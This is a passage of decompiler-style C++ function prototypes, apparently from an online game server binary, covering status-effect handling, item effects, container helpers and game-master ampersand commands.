AbnormalStateContainer::AbstateElementInObject *aso); void __thiscall AbnormalStateContainer::SubAbnormalStateActorShield::sasa_Act_DamegeAbsorpt(AbnormalStateContainer::SubAbnormalStateActorShield *this, #325 *, AbnormalStateContainer::AbstateElementInObject *, int *); void __thiscall AbnormalStateContainer::SubAbnormalStateActorManaShield::sasa_Act_DamegeAbsorpt(AbnormalStateContainer::SubAbnormalStateActorManaShield *this, #325 *, AbnormalStateContainer::AbstateElementInObject *, int *); void __thiscall AbnormalStateContainer::SubAbnormalStateActorRangeIntercept::sasa_Act_DamegeIntercept(AbnormalStateContainer::SubAbnormalStateActorRangeIntercept *this, AbnormalStateContainer::AbstateElementInObject *aso, int *damage); void __thiscall AbnormalStateContainer::SubAbnormalStateActorLastDmgRatio::sasa_Act_LastDamegeInterceptByAtk(AbnormalStateContainer::SubAbnormalStateActorLastDmgRatio *this, AbnormalStateContainer::AbstateElementInObject *aso, int *damage); void __thiscall AbnormalStateContainer::SubAbnormalStateActorLastDmgRatio_DefSide::sasa_Act_LastDamegeInterceptByDef(AbnormalStateContainer::SubAbnormalStateActorLastDmgRatio_DefSide *this, #325 *, AbnormalStateContainer::AbstateElementInObject *, int *); void __thiscall AbnormalStateContainer::SubAbnormalStateActorPartyRecharge::sasa_Act_Killed(AbnormalStateContainer::SubAbnormalStateActorPartyRecharge *this, #434 *, AbnormalStateContainer::AbstateElementInObject *); void __thiscall AbnormalStateContainer::SubAbnormalStateActorSelfRevive::sasa_Act_Killed(AbnormalStateContainer::SubAbnormalStateActorSelfRevive *this, #434 *, AbnormalStateContainer::AbstateElementInObject *); void __thiscall AbnormalStateContainer::AbstateElementInObject::aeo_ParameterEnchant(AbnormalStateContainer::AbstateElementInObject *this); void __thiscall AbnormalStateContainer::AbnormalStateReinforcedMove::ase_AttachObject(AbnormalStateContainer::AbnormalStateReinforcedMove *this, AbnormalStateContainer::AbstateElementInObject *aso, #325 *pTargetObj); void __thiscall AbnormalStateContainer::AbnormalStateElementRecover::ase_DetachObject(AbnormalStateContainer::AbnormalStateElementRecover *this, AbnormalStateContainer::AbstateElementInObject *aso, #325 *pTargetObj); void __thiscall AbnormalStateContainer::AbnormalStateReinforcedMove::ase_DetachObject(AbnormalStateContainer::AbnormalStateReinforcedMove *this, AbnormalStateContainer::AbstateElementInObject *aso, #325 *pTargetObj); void __thiscall AbnormalStateContainer::AbnormalStatePartyEnchant::ase_SetMain(AbnormalStateContainer::AbnormalStatePartyEnchant *this, AbnormalStateDictionary::AbState::AbStateStr *sklidx); void __thiscall AbnormalStateContainer::AbnormalStateGuildAcademyMasterEnchant::ase_SetMain(AbnormalStateContainer::AbnormalStateGuildAcademyMasterEnchant *this, AbnormalStateDictionary::AbState::AbStateStr *sklidx); char __thiscall AbnormalStateContainer::AbstateElementInObject::aeo_IsMine(AbnormalStateContainer::AbstateElementInObject *this, #740 *, ABSTATEINDEX); unsigned int __thiscall AbnormalStateContainer::AbstateElementInObject::aeo_GetRestTime(AbnormalStateContainer::AbstateElementInObject *this); int __thiscall ShineObjectClass::ShineMobileObject::smo_DotDamageAppend(void *this, int aso); char __cdecl ShineObjectClass::ShinePlayer::sp_AbstateCheck(int sklidx, int a2); char __cdecl ShineObjectClass::ShineObject::so_smo_CanEnchant(int abstateidx, int strength); char __thiscall List::l_PushA(List *this, CardDeck::Card *ele); char __thiscall List::l_PushZ(List *this, CardDeck::Card *ele); void __thiscall List::l_Clear(List *this); char __thiscall List::l_PushA(List *this, AbnormalStateContainer::AbstateElementInObject *ele); AbnormalStateContainer::AbstateElementInObject *__thiscall List::l_Search(List *this, int (__thiscall *compfunc)(AbnormalStateContainer::AbstateElementInObject *this, List *, unsigned __int16, AbnormalStateContainer::AbstateElementInObject *), unsigned __int16 *hnd, AbnormalStateContainer::AbstateElementInObject *key); void __thiscall ListTraveler::ListTraveler(ListTraveler *this, List *lst, AbnormalStateContainer::AbstateElementInObject *def); #740 *__cdecl ShineDynamicCast(#325 *pObj); #434 *__cdecl ShineDynamicCast(#325 *pObj); void __thiscall List::l_MakeList(List *this, unsigned __int16 size); void __thiscall AbnormalStateContainer::AbstateElementInObject::aeo_InformAfterLogin(AbnormalStateContainer::AbstateElementInObject *this, #434 *me); char __thiscall AbnormalStateContainer::AbstateElementInObject::aeo_IsPartyChant(AbnormalStateContainer::AbstateElementInObject *this); AbnormalStateContainer::AbstateElementInObject *__thiscall AbnormalStateContainer::AbstateListInObject::asl_Abstate_IsSet(void *this, ABSTATEINDEX stateindex); char __thiscall AbnormalStateContainer::AbnormalStateHide::ase_Routine(AbnormalStateContainer::AbnormalStateHide *this, #740 *, unsigned __int16, AbnormalStateContainer::AbstateElementInObject *, char *); void __thiscall ShineObjectClass::ShineMobileObject::so_mobile_DamageOverTime(#325 *, int, ABSTATEINDEX, bool, int *); void __thiscall ShineObjectClass::ShineMobileObject::smo_CureCurse(void *this, int state, signed int grade); char __thiscall AbnormalStateContainer::AbstateElementInObject::aeo_Set(AbnormalStateContainer::AbstateElementInObject *this, #325 *, unsigned __int16, int, unsigned int, AbnormalStateDictionary::AbState::AbStateStr *, #325 *, int, int, int, AbnormalStateContainer::EnchantFrom); char __thiscall AbnormalStateContainer::AbstateListInObject::asl_AbstateReset(#325 *, ABSTATEINDEX); char __thiscall AbnormalStateContainer::AbstateListInObject::asl_IsHereGood(void *this); char __thiscall AbnormalStateContainer::AbstateListInObject::asl_IsHereBad(void *this); void __thiscall AbnormalStateContainer::AbstateListInObject::asl_SendAfterLogin(void *this, #434 *me); void __thiscall AbnormalStateContainer::AbstateListInObject::asl_Store(#740 *, PROTO_NC_CHAR_ABSTATE_CMD *); int __thiscall AbnormalStateContainer::SubAbnormalStateActorPoison::sasa_GetDamage(AbnormalStateContainer::SubAbnormalStateActorPoison *this, AbnormalStateContainer::AbstateElementInObject *aso, #740 *body); char __thiscall AbnormalStateContainer::SubAbnormalStateActorDisease::sasa_Routine(AbnormalStateContainer::SubAbnormalStateActorDisease *this, AbnormalStateContainer::AbstateElementInObject *aso, #740 *body, ABSTATEINDEX abs); void __thiscall AbnormalStateContainer::SubAbnormalStateActerTimeAttack::sasa_Act_LastDamegeInterceptByDef(AbnormalStateContainer::SubAbnormalStateActerTimeAttack *this, #325 *, AbnormalStateContainer::AbstateElementInObject *, int *); void __thiscall AbnormalStateContainer::SubAbnormalStateActor::sasa_AttachObject(AbnormalStateContainer::SubAbnormalStateActor *this, AbnormalStateContainer::AbstateElementInObject *pInObject, #325 *pTarget); void __thiscall AbnormalStateContainer::SubAbnormalStateActor::sasa_DetachObject(AbnormalStateContainer::SubAbnormalStateActor *this, AbnormalStateContainer::AbstateElementInObject *pInObject, #325 *pTarget); void __thiscall ShineObjectClass::ShineMobileObject::so_smo_AbStateKeepTimeAdd(void *this, int substate, int millisec); char __thiscall AbnormalStateContainer::AbstateListInObject::asl_CanEnchant(void *this, int abstateidx, int strength); void __thiscall AbnormalStateContainer::SubAbnormalStateActorDetachProcess::sasa_DetachObject(AbnormalStateContainer::SubAbnormalStateActorDetachProcess *this, AbnormalStateContainer::AbstateElementInObject *pInObject, #325 *pTarget); void __thiscall List::l_Clear(List *this); void *__thiscall AbnormalStateContainer::AbstateListInObject::AbstateListInObject(void *ptr); char __thiscall AbnormalStateContainer::AbstateListInObject::asl_AbstateSet(#325 *, unsigned __int16, int, AbnormalStateDictionary::AbState::AbStateStr *, #325 *, unsigned int, int, int, int, AbnormalStateContainer::EnchantFrom); void __thiscall AbnormalStateContainer::SubAbnormalStateCaptivate::sasa_AttachObject(AbnormalStateContainer::SubAbnormalStateCaptivate *this, AbnormalStateContainer::AbstateElementInObject *pInObject, #325 *pTarger); void __thiscall AbnormalStateContainer::SubAbnormalStateCaptivate::sasa_DetachObject(AbnormalStateContainer::SubAbnormalStateCaptivate *this, AbnormalStateContainer::AbstateElementInObject *pInObject, #325 *pTarger); char __thiscall AbnormalStateContainer::SubAbnormalStateActorPoison::sasa_Routine(AbnormalStateContainer::SubAbnormalStateActorPoison *this, AbnormalStateContainer::AbstateElementInObject *aso, #740 *body, ABSTATEINDEX abs); char __thiscall AbnormalStateContainer::SubAbnormalStateActorAreaDamage::sasa_Routine(AbnormalStateContainer::SubAbnormalStateActorAreaDamage *this, AbnormalStateContainer::AbstateElementInObject *aso, #740 *body, ABSTATEINDEX abs); char __thiscall ShineObjectClass::ShineMobileObject::so_smo_CanEnchant(void *this, int abstateidx, int strength); void __thiscall List::l_MakeList(List *this, unsigned __int16 size); void __thiscall AxialListNearScanParty::alnsp_Buffing(AxialListNearScanParty *this, int num, #325 *caster, ABSTATEINDEX soul, int strength, AbnormalStateDictionary::AbState::AbStateStr *sklidx, int empowkeeptime); void __thiscall AxialListNearScanCoupleParty::alnsp_Buffing(AxialListNearScanCoupleParty *this, int num, #325 *caster, ABSTATEINDEX soul, int strength, AbnormalStateDictionary::AbState::AbStateStr *sklidx, int empowkeeptime); void __thiscall AxialListNearScanGuildAcademy::alnsga_Buffing(AxialListNearScanGuildAcademy *this, int num, #325 *caster, ABSTATEINDEX soul, int strength, AbnormalStateDictionary::AbState::AbStateStr *sklidx, int empowkeeptime); char __thiscall AbnormalStateContainer::AbnormalStateCouplePartyEnchant::ase_Routine(AbnormalStateContainer::AbnormalStateCouplePartyEnchant *this, #740 *, unsigned __int16, AbnormalStateContainer::AbstateElementInObject *, char *); char __thiscall AbnormalStateContainer::AbnormalStatePartyEnchant::ase_Routine(AbnormalStateContainer::AbnormalStatePartyEnchant *this, #740 *, unsigned __int16, AbnormalStateContainer::AbstateElementInObject *, char *); char __thiscall AbnormalStateContainer::AbnormalStateGuildAcademyMasterEnchant::ase_Routine(AbnormalStateContainer::AbnormalStateGuildAcademyMasterEnchant *this, #740 *, unsigned __int16, AbnormalStateContainer::AbstateElementInObject *, char *); void __thiscall AbnormalStateContainer::AbnormalStateList::AbnormalStateList(AbnormalStateContainer::AbnormalStateList *this); int __thiscall AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument::assa_FindEffect(AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument *this, SubAbstateAction action); bool __thiscall AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument::assa_IsHaveEffect(AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument *this, SubAbstateAction action); char __thiscall ShineObjectClass::ShineMobileObject::so_AbnormalState_Set(#325 *, ABSTATEINDEX, int, AbnormalStateDictionary::AbState::AbStateStr *, unsigned int, int, int, int, AbnormalStateContainer::EnchantFrom); char __thiscall ShineObjectClass::ShinePlayer::so_AbnormalState_Set(#325 *, ABSTATEINDEX, int, AbnormalStateDictionary::AbState::AbStateStr *, unsigned int, int, int, int, AbnormalStateContainer::EnchantFrom); char __thiscall ShineObjectClass::ShineObject::so_AbnormalState_Set_Simple(#325 *this, #325 *, ABSTATEINDEX, int, bool); char __thiscall ShineObjectClass::ShineObject::so_AbnormalState_Set_Simple(#325 *this, #325 *, ABSTATEINDEX, int, bool, int, int, AbnormalStateContainer::EnchantFrom); char __thiscall ShineObjectClass::ShineObject::so_AbnormalState_Set(#325 *this, #325 *, ABSTATEINDEX, int, AbnormalStateDictionary::AbState::AbStateStr *, unsigned int, int, int, int, AbnormalStateContainer::EnchantFrom); char __thiscall ShineObjectClass::ShinePlayer::so_AbnormalState_Set_CharAllMode(#325 *, ABSTATEINDEX, int, AbnormalStateDictionary::AbState::AbStateStr *, unsigned int, int, int, int, AbnormalStateContainer::EnchantFrom); bool __thiscall ShineObjectClass::ShineMob::so_AbnormalState_Resist(int this, int sklidx); bool __thiscall ShineObjectClass::ShinePlayer::so_AbnormalState_Resist(void *this, int sklidx); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); void __thiscall AbnormalStateDictionary::SubAbState::SubAbState(AbnormalStateDictionary::SubAbState *this); void __thiscall AbnormalStateDictionary::SubAbState::sas_Load(AbnormalStateDictionary::SubAbState *this); SubAbStateInfo *__thiscall AbnormalStateDictionary::SubAbState::sas_Find(AbnormalStateDictionary::SubAbState *this, char *index, int str); void __thiscall AbnormalStateDictionary::AbState::AbState(AbnormalStateDictionary::AbState *this); void __thiscall AbnormalStateDictionary::AbState::_AbState(AbnormalStateDictionary::AbState *this); void __thiscall AbnormalStateDictionary::AbState::as_Load(AbnormalStateDictionary::AbState *this); char __thiscall ShineObjectClass::ShineMobileObject::so_FillBriefABState(void *this, int data, int num); void __thiscall UseEffect::UseItemJustReviveAtDead::UseItemJustReviveAtDead(UseEffect::UseItemJustReviveAtDead *this); void __thiscall UseEffect::UseItemJustReviveAtDead::_UseItemJustReviveAtDead(UseEffect::UseItemJustReviveAtDead *this); unsigned int __thiscall std::vector>::size(std::vector > *this); void __thiscall AbnormalStateContainer::AbstateElementInObject::aeo_Recover(AbnormalStateContainer::AbstateElementInObject *this, #325 *so); void __thiscall ShineObjectClass::ShinePlayer::so_ReviveByItem(void *this); void __thiscall ChargedItemEffectList::ChargedItemEffectElement::ciee_AfterLoginComplete(ChargedItemEffectList::ChargedItemEffectElement *this, unsigned __int16 handle, #434 *player); int __thiscall ShineObjectClass::ShinePlayer::sp_ChargedEffectAfterLoginComplete(_DWORD); // weak AbnormalStateContainer::AbstateElementInObject *__cdecl std::copy(AbnormalStateContainer::AbstateElementInObject *_First, AbnormalStateContainer::AbstateElementInObject *_Last, AbnormalStateContainer::AbstateElementInObject *_Dest); char __thiscall ChargedItemEffectList::ChargedEffectAfterLoginComplete::lid_Call(ChargedItemEffectList::ChargedEffectAfterLoginComplete *this, ChargedItemEffectList::ChargedItemEffectElement *ele, unsigned __int16 handle); char __thiscall ShineObjectClass::ShinePlayer::sp_CanChargedEnchant(void *this, int index); void __thiscall ShineObjectClass::ShinePlayer::sp_RemoveEE_SETABSTATE(void *this, int abstateid); void __thiscall ShineObjectClass::ShinePlayer::sp_RemoveAllChargeBuff(void *this); std::basic_string,std::allocator > *__thiscall std::basic_string_std::allocator>::erase(std::basic_string,std::allocator > *this, unsigned int _Off, unsigned int _Count); void __thiscall std::basic_string_std::allocator>::_Tidy(std::basic_string,std::allocator > *this, bool _Built, unsigned int _Newsize); void __thiscall std::basic_string_std::allocator>::_Copy(std::basic_string,std::allocator > *this, unsigned int _Newsize, unsigned int _Oldlen); AbnormalStateContainer::AbstateElementInObject *__cdecl std::_Uninit_copy>::const_iterator_AbnormalStateContainer::AbstateElementInObject___std::allocator>(AbnormalStateContainer::AbstateElementInObject *_First, AbnormalStateContainer::AbstateElementInObject *_Last, AbnormalStateContainer::AbstateElementInObject *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); void __thiscall std::basic_string_std::allocator>::_basic_string_std::allocator>(std::pair,std::allocator > const ,int> *this); void __thiscall std::length_error::_length_error(std::length_error *this); const char *__thiscall std::logic_error::what(std::logic_error *this); void __thiscall AbnormalStateShelter::AbstateShelter::as_Remove(AbnormalStateShelter::AbstateShelter *this, unsigned int chrregnum); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_SKILL_REPLYREVIVE_CMD(void *this, int netcmd, int len, __int16 handle); void __thiscall AbnormalStateShelter::AbstateBuffer::ab_Recover(AbnormalStateShelter::AbstateBuffer *this, #325 *so); std::basic_string,std::allocator > *__thiscall std::basic_string_std::allocator>::assign(std::basic_string,std::allocator > *this, std::basic_string,std::allocator > *_Right, unsigned int _Roff, unsigned int _Count); std::basic_string,std::allocator > *__thiscall std::basic_string_std::allocator>::assign(std::basic_string,std::allocator > *this, const char *_Ptr, unsigned int _Num); AbnormalStateContainer::AbstateElementInObject *__thiscall std::vector>::_Ucopy(std::allocator *_Al, AbnormalStateContainer::AbstateElementInObject *_First, AbnormalStateContainer::AbstateElementInObject *_Last, AbnormalStateContainer::AbstateElementInObject *__formal); void __thiscall std::basic_string_std::allocator>::basic_string_std::allocator>(std::basic_string,std::allocator > *this, std::basic_string,std::allocator > *_Right); std::basic_string,std::allocator > *__thiscall std::basic_string_std::allocator>::assign(std::basic_string,std::allocator > *this, const char *_Ptr); void __thiscall std::vector>::_Destroy(std::vector > *this, AbnormalStateContainer::AbstateElementInObject *_First, AbnormalStateContainer::AbstateElementInObject *_Last); void __thiscall std::basic_string_std::allocator>::basic_string_std::allocator>(std::basic_string,std::allocator > *this, const char *_Ptr); void __thiscall std::logic_error::logic_error(std::logic_error *this, std::basic_string,std::allocator > *_Message); void *__thiscall std::out_of_range::_vector_deleting_destructor_(std::length_error *this, unsigned int); void __thiscall std::vector>::_Tidy(std::vector > *this); void __thiscall std::vector>::_Xlen(std::vector > *this); void __thiscall std::logic_error::logic_error(std::logic_error *this, std::logic_error *__that); void __thiscall std::length_error::length_error(std::length_error *this, std::length_error *__that); bool __thiscall std::vector>::_Buy(std::vector > *this, unsigned int _Capacity); void __thiscall std::vector>::vector>(std::vector > *this, std::vector > *_Right); void *__thiscall std::vector>::operator_(void *_Al, int __formal); void __thiscall AbnormalStateShelter::AbstateBuffer::_AbstateBuffer(AbnormalStateShelter::AbstateBuffer *this); AbnormalStateShelter::AbstateBuffer *__cdecl std::_Copy_backward_opt(AbnormalStateShelter::AbstateBuffer *_First, AbnormalStateShelter::AbstateBuffer *_Last, AbnormalStateShelter::AbstateBuffer *_Dest, std::_Nonscalar_ptr_iterator_tag __formal); void __cdecl std::fill(AbnormalStateShelter::AbstateBuffer *_First, AbnormalStateShelter::AbstateBuffer *_Last, AbnormalStateShelter::AbstateBuffer *_Val); AbnormalStateShelter::AbstateBuffer *__cdecl std::_Uninit_copy>(AbnormalStateShelter::AbstateBuffer *_First, AbnormalStateShelter::AbstateBuffer *_Last, AbnormalStateShelter::AbstateBuffer *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); void __cdecl std::_Uninit_fill_n>(AbnormalStateShelter::AbstateBuffer *_First, unsigned int _Count, AbnormalStateShelter::AbstateBuffer *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); AbnormalStateShelter::AbstateBuffer *__thiscall std::vector>::_Ufill(std::vector > *this, AbnormalStateShelter::AbstateBuffer *_Ptr, unsigned int _Count, AbnormalStateShelter::AbstateBuffer *_Val); void __thiscall std::vector>::_Destroy(std::vector > *this, AbnormalStateShelter::AbstateBuffer *_First, AbnormalStateShelter::AbstateBuffer *_Last); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, AbnormalStateShelter::AbstateBuffer *_Val); std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, AbnormalStateShelter::AbstateBuffer *_Val); void __thiscall std::vector>::_Tidy(std::vector > *this); void __thiscall std::vector>::push_back(std::vector > *this, AbnormalStateShelter::AbstateBuffer *_Val); void __thiscall AbnormalStateShelter::AbstateShelter::_AbstateShelter(AbnormalStateShelter::AbstateShelter *this); AbnormalStateShelter::AbstateBuffer *__thiscall AbnormalStateShelter::AbstateShelter::operator__(AbnormalStateShelter::AbstateShelter *this, unsigned int regnum); void __thiscall UseEffect::UseItemJustReviveAtDead::uib_Effect(UseEffect::UseItemJustReviveAtDead *this, #325 *, ItemTotalInformation *, UseEffect::UIE_Functions *); void __thiscall Name3::Name3(Name3 *this, const char *str); void __thiscall Name3::operator_(Name3 *this, const char *nm); void __thiscall Name4::Name4(Name4 *this, const char *str); int __thiscall ORToken::operator_(int this, int a2); void __thiscall ORToken::ORToken(ORToken *this, const char *str); char *__thiscall NameString::operator__(NameString *this, Name3 *a); void __thiscall AxialListMobSuicide::_AxialListMobSuicide(AxialListMobSuicide *this); AbnormalStateDictionary::AbState::AbStateStr *__thiscall AbnormalStateDictionary::AbState::as_FromName(AbnormalStateDictionary::AbState *this, char *sklname); SpecialItemIdent *__thiscall ItemDataBox::idb_SpecialItems(ItemDataBox *this); unsigned __int16 __thiscall ItemDataBox::idb_2itemid(ItemDataBox *this, const char *itemindex); ItemDataBox::ItemDataBoxIndex *__thiscall ItemDataBox::operator__(ItemDataBox *this, unsigned __int16 Itemid); unsigned __int16 __thiscall MobDataBox::mdb_2MobID(MobDataBox *this, const char *mobindex); void __thiscall DebugLogging::DebugLogging(DebugLogging *this, char *filename); char *__thiscall DebugLogging::dl_MakeFileName(DebugLogging *this); _iobuf *__thiscall DebugLogging::dl_FilePoint(DebugLogging *this); DebugLogging *__thiscall DebugLogging::operator<<(DebugLogging *this, char *str); void __thiscall DebugLogging::operator<<(DebugLogging *this, DebugLineFeed *lf); int __thiscall FieldMap::fm_IsBlock(int this, int x, int y, int (__thiscall *mbi_blockfunction)(_DWORD, _DWORD, _DWORD)); char __thiscall FieldMap::fm_DropFilm(int this, char *scriptname); void __thiscall FieldMap::fm_ScriptInterrupt(int this, void (__thiscall *checkfunc)(ScriptInterrupt::ScriptInterruptManager *, ScriptInterrupt::InterruptHappenArgument *), ScriptInterrupt::InterruptHappenArgument *arg); int __thiscall FieldMap::fm_GetFieldBonus(void *this); char __thiscall CharacterPassiveList::cpl_IsLearn(CharacterPassiveList *this, unsigned __int16 skill); int __thiscall ShineObjectClass::ShineObject::so_GetLayer(int this); MapInfo *__thiscall MapDataBox::operator__(MapDataBox *this, unsigned __int16 mapid); unsigned __int16 __thiscall MapDataBox::mdb_2mapid(MapDataBox *this, const char *mapindex); void __thiscall DropItemStruct::ItemGroup::ItemGroup(ORKeyList::KeyElement *this); void __thiscall AxialListDoorAction::_AxialListDoorAction(AxialListDoorAction *this); void __thiscall PROTO_KQ_MAP_INFO::PROTO_KQ_MAP_INFO(PROTO_KQ_MAP_INFO *this); void __thiscall AmpersandCommand::ac_LinktoSaveData(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall ShineObjectClass::ShineObject::so_ply_LoginIPSet(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_IDTimeChange(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall List::_List(List *this); int __thiscall std::basic_string_std::allocator>::compare(std::basic_string,std::allocator > *this, unsigned int _Off, unsigned int _N0, const char *_Ptr, unsigned int _Count); void __thiscall ListIter_AmpCmdArgument::_ListIter_AmpCmdArgument(ListIter_AmpCmdArgument *this); char __thiscall ListIter_AmpCmdArgument::lid_Call(ListIter_AmpCmdArgument *this, AmpersandCommandElement *ele, unsigned __int16 handle); char __thiscall ShineObjectClass::ShinePlayer::sp_AmpersandCommand(void *this, __int16 handle, int chat); void __thiscall AmpersandCommand::_AmpersandCommand(AmpersandCommand *this); void __thiscall AmpersandCommand::ac_wall(AmpersandCommand *this, #434 *, char *); void __thiscall AmpersandCommand::ac_TempLinkUsage(AmpersandCommand *this, #434 *sp); void __thiscall AmpersandCommand::ac_MobBreedUsage(AmpersandCommand *this, #434 *sp); int __thiscall AmpersandCommand::ac_Scanf(AmpersandCommand *this, char *buf); void __thiscall AmpersandCommand::ac_Store(AmpersandCommand *this, char *cmd, int adlev, void (__thiscall *func)(AmpersandCommand *this, unsigned __int16, #434 *, int, char (*)[33])); void __thiscall AmpersandCommand::ac_Hide(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_Show(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_Dimension(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_AdminLevel(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_ServerIndex(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_LinkTo(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_DoorBuild(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_ScriptInterrupt(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_Timer(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_GuildCollectClear(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_GuildCollectSet(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_NoticeZone(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_GMChat(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); char __thiscall AxialListDoorAction::ali_Work(AxialListDoorAction *this, #325 *, #325 *, unsigned int); void __thiscall AmpersandCommand::ac_OXBlock(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_TempLink(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_MobBreed(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_MobBreed_simple(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_MakeItem(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_fullpoint(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_summonplayer(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_questrecieve(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_questgiveup(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_questcomplete(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_learnskill(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_skillcooltime(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_Setabstate(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_resetabstate(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_performance(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_Sethp(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_Setsp(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_Dist(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_BlockMatrix(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_CurrentLoc(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_KickOutPlayer(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_FindMob(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_FindPlayer(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_SummonPlayer(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_MobDistribute(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_ChargedItem(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall PROTO_KQ_INFO::_PROTO_KQ_INFO(PROTO_KQ_INFO *this); void __thiscall KingdomQuest::KQElement::KQElementMap::KQElementMap(KingdomQuest::KQElement::KQElementMap *this); void __thiscall AmpersandCommand::ac_killallmob(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_mobdamage(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_SuicideAllMob(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_ServerSocketCut(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_EmptyMap(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_ZoneLinkTest(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_GuildTournament(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char 